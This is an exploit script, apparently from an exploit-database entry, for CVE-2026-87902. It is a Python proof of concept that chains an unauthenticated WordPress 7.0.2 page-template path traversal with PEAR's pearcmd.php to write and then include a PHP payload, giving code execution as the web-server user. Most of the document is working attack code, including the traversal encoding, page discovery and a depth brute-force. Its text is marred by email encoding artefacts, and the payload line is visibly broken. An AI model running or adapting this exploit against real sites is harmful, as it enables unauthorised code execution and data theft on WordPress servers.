# Exploit Title: WordPress 7.0.2 - Path Travesal # Google Dork: N/A # Date: 2026-09-22 # Exploit Author: Robert Ressl (https://ressl.ch) # Vendor Homepage: https://wordpress.org # Software Link: https://wordpress.org/download/releases/ # Version: WordPress 7.0.2 (patched in 7.1.2 and 7.0.6; backports to every = branch down to 4.7.37) # Tested on: WordPress 7.0.2 / PHP 8.3.33 (Apache module) / MySQL 8.4 (offi= cial wordpress:7.0.2-php8.3-apache image, x86-64 and arm64) # CVE: CVE-2026-87902 # Advisory: https://github.com/WordPress/wordpress-develop/security/advisor= ies/GHSA-7hp8-65ch-5whp # Write-up: https://ressl.ch/blog/cve-2026-87902-wordpress/ # Source: https://github.com/ressl/cve-2026-87902-poc # # Requires: Python 3.6+ (standard library only) # Usage: python3 cve-2026-87902.py --url http://127.0.0.1:8091 [--page-id N= ] [--depth 7] # # Preconditions (the Source repository ships a lab that provides all of the= m): # * a published page that uses the default template (auto-detected via RE= ST, or --page-id) # * a top-level `page-*` directory in the active theme (--theme-dir, defa= ult page-templates) # * a readable PEAR pearcmd.php (--include) and register_argc_argv=3DOn f= or the web SAPI # * a writable directory for the PEAR payload (--output, default /tmp) """ CVE-2026-87902 - unauthenticated path traversal in WordPress page-template resolution leading to local PHP file inclusion (and, where the deployment allows it, to PHP code execution). Two anonymous POST requests are enough: Stage 1 The traversal makes the template loader include a readable local `.php` file outside the theme roots. With PEAR present and `register_argc_argv=3DOn`, `/usr/local/lib/php/pearcmd.php` acts= as a file-write gadget: `config-create` serializes attacker-controlle= d data - including PHP opening tags - into a writable directory. Stage 2 The same traversal includes the generated file, so the embedded = PHP runs with the privileges of the web-server account. The WordPress defect is the missing path containment. PEAR is only one environment-dependent way of turning the inclusion into code execution. For authorized security testing and research only. """ import argparse import http.client import json import ssl import sys from urllib.parse import urlsplit USER_AGENT =3D "cve-2026-87902-poc/1.0" # Lab defaults (see lab/ and README.md). WordPress appends `.php` to the # traversal target, so those paths are always given without the suffix. DEFAULT_MARKER =3D "CVE-2026-87902-POC-OK" DEFAULT_THEME_DIR =3D "page-templates" # theme directory supplyi= ng the fixed `page-` prefix DEFAULT_INCLUDE =3D "/usr/local/lib/php/pearcmd" # gadget included in stag= e 1 DEFAULT_OUTPUT =3D "/tmp/wp-pear-rce-flag" # PEAR writes `.p= hp` to this path DEFAULT_READ =3D "/flag" # file printed by the inj= ected PHP LAB_DEPTH =3D 7 # `..` segments from the = theme root to `/` def send_request(base, method, path, body=3DNone, timeout=3D20.0, insecure= =3DFalse): """Send a request with a byte-exact request target. The request target must reach the server unmodified: the raw `<`, `>`, = `=3D` and `+` bytes are load-bearing (PHP splits the raw query string into PE= AR's argv and does not URL-decode the individual arguments), so nothing may = be re-encoded on the way out. """ parts =3D urlsplit(base) if not parts.hostname: raise ValueError("invalid target URL: %s" % base) if parts.scheme =3D=3D "https": context =3D ssl._create_unverified_context() if insecure else ssl.c= reate_default_context() conn =3D http.client.HTTPSConnection( parts.hostname, parts.port or 443, timeout=3Dtimeout, context= =3Dcontext ) else: conn =3D http.client.HTTPConnection(parts.hostname, parts.port or 8= 0, timeout=3Dtimeout) headers =3D { "User-Agent": USER_AGENT, "Accept": "*/*", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", } try: conn.request(method, path, body=3Dbody, headers=3Dheaders) response =3D conn.getresponse() return response.status, response.read().decode("utf-8", "replace") finally: conn.close() def php_literal(value): """Quote-free PHP string literal: `/flag` -> chr(47).chr(102).chr(108).= ..""" return ".".join("chr(%d)" % ord(char) for char in value) def double_encode(path): """Encode a theme-relative path for the request body. PHP decodes the form body once. WordPress must still see the escaped oc= tets (`%2f`, `%2e`) afterwards, so that `wp_basename()` and the query saniti= zer leave the traversal alone; `get_page_template()` decodes them much late= r. """ once =3D path.replace("/", "%2F").replace(".", "%2E") return once.replace("%", "%25") def candidate(theme_dir, depth, target): """Theme-relative candidate path for an absolute local target. WordPress prepends the fixed `page-` prefix when building the template name, so the path segment derived from a theme directory `page-template= s` is `templates`: `page-` + `templates/../../` + `.php`. """ prefix =3D theme_dir[len("page-"):] if theme_dir.startswith("page-") el= se theme_dir return prefix + "/" + "../" * depth + target.lstrip("/") def find_page(base, timeout, insecure): """Find a published page using the default template (anonymous REST cal= l).""" routes =3D ( "/index.php?rest_route=3D/wp/v2/pages&per_page=3D100&_fields=3Did,s= lug,template", "/wp-json/wp/v2/pages?per_page=3D100&_fields=3Did,slug,template", ) for route in routes: try: status, body =3D send_request(base, "GET", route, timeout=3Dtim= eout, insecure=3Dinsecure) except Exception: continue if status !=3D 200: continue try: pages =3D json.loads(body) except ValueError: continue if not isinstance(pages, list) or not pages: continue for page in pages: # a custom page template would win the hierarch= y before the traversal if not page.get("template"): return page.get("id"), page.get("slug", ""), route return pages[0].get("id"), pages[0].get("slug", ""), route return None, None, None def run_stages(base, args, depth): """Run both stages for one traversal depth. Returns a result dict.""" include_path =3D candidate(args.theme_dir, depth, args.include) output_path =3D candidate(args.theme_dir, depth, args.output) payload =3D "" % php_literal(args.read) # Stage 1: the raw query string becomes PEAR's argv. `config-create` # requires an absolute root path, so the payload is injected as that ro= ot # (`/`) and PEAR serializes it into the generated config file. stage1_target =3D "/?+config-create+/" + payload + "+" + args.output + = ".php" stage1_body =3D "page_id=3D%d&pagename=3D%s" % (args.page_id, double_en= code(include_path)) status1, _ =3D send_request(base, "POST", stage1_target, body=3Dstage1_= body, timeout=3Dargs.timeout, insecure=3Dargs.insec= ure) # Stage 2: include the file PEAR just wrote. stage2_body =3D "page_id=3D%d&pagename=3D%s" % (args.page_id, double_en= code(output_path)) status2, text2 =3D send_request(base, "POST", "/", body=3Dstage2_body, timeout=3Dargs.timeout, insecure=3Dargs.i= nsecure) return { "depth": depth, "include_candidate": "page-" + include_path + ".php", "output_candidate": "page-" + output_path + ".php", "status1": status1, "status2": status2, "hits": text2.count(args.marker), "body": text2, } def first_line_with(text, marker, limit=3D200): index =3D text.find(marker) if index < 0: return "" chunk =3D text[index:index + limit] return chunk.splitlines()[0] if chunk else "" def main(argv=3DNone): parser =3D argparse.ArgumentParser( description=3D"CVE-2026-87902 - WordPress page-template traversal t= o local PHP inclusion (PoC)", formatter_class=3Dargparse.ArgumentDefaultsHelpFormatter, ) parser.add_argument("--url", default=3D"http://127.0.0.1:8091", help=3D= "WordPress base URL") parser.add_argument("--page-id", type=3Dint, help=3D"published page ID = (auto-detected via REST if omitted)") parser.add_argument("--theme-dir", default=3DDEFAULT_THEME_DIR, help=3D"top-level `page-*` directory of the active = theme") parser.add_argument("--include", default=3DDEFAULT_INCLUDE, help=3D"local file to include in stage 1 (no `.php`= suffix)") parser.add_argument("--output", default=3DDEFAULT_OUTPUT, help=3D"writable destination for the PEAR payload (= no `.php` suffix)") parser.add_argument("--read", default=3DDEFAULT_READ, help=3D"file prin= ted by the injected PHP") parser.add_argument("--marker", default=3DDEFAULT_MARKER, help=3D"string expected in the stage-2 response on = success") parser.add_argument("--depth", type=3Dint, default=3D0, help=3D"number of `..` segments (0 =3D lab depth fi= rst, then 1..12)") parser.add_argument("--timeout", type=3Dfloat, default=3D20.0, help=3D"= per-request timeout in seconds") parser.add_argument("--insecure", action=3D"store_true", help=3D"do not= verify TLS certificates") args =3D parser.parse_args(argv) if not args.theme_dir.startswith("page-"): parser.error("--theme-dir must be the real theme directory name and= start with 'page-'") base =3D args.url.rstrip("/") print("[*] target : %s" % base) if args.page_id: print("[*] page id : %d (from --page-id)" % args.page_id) else: page_id, slug, route =3D find_page(base, args.timeout, args.insecur= e) if not page_id: print("[-] no published page found - pass --page-id explicitly"= , file=3Dsys.stderr) return 1 args.page_id =3D page_id print("[*] page id : %d (%s, default template, via %s)" % (pa= ge_id, slug or "?", route)) if args.depth: depths =3D [args.depth] else: depths =3D [LAB_DEPTH] + [d for d in range(1, 13) if d !=3D LAB_DEP= TH] for depth in depths: result =3D run_stages(base, args, depth) print("[*] depth %-2d : stage 1 HTTP %s, stage 2 HTTP %s" % (depth, result["status1"], result["status2"])) if result["hits"]: print("[+] traversal : %s" % result["include_candidate"]) print("[+] payload file : %s (written by PEAR in stage 1)" % r= esult["output_candidate"]) print("[+] marker : %r found %d time(s) in the stage-2 r= esponse" % (args.marker, result["hits"])) print("[+] proof : %s" % first_line_with(result["body"]= , args.marker)) print("[+] EXPLOIT SUCCESSFUL - PHP executed with the web-serve= r account's privileges") return 0 print("[-] exploit failed", file=3Dsys.stderr) print(" check that lab/up.sh completed (WordPress installed, `page-*= ` fixture present,", file=3Dsys.stderr) print(" /flag readable), that the page ID is published, and that PEA= R is reachable with", file=3Dsys.stderr) print(" register_argc_argv=3DOn for the web SAPI.", file=3Dsys.stder= r) return 1 if __name__ =3D=3D "__main__": sys.exit(main())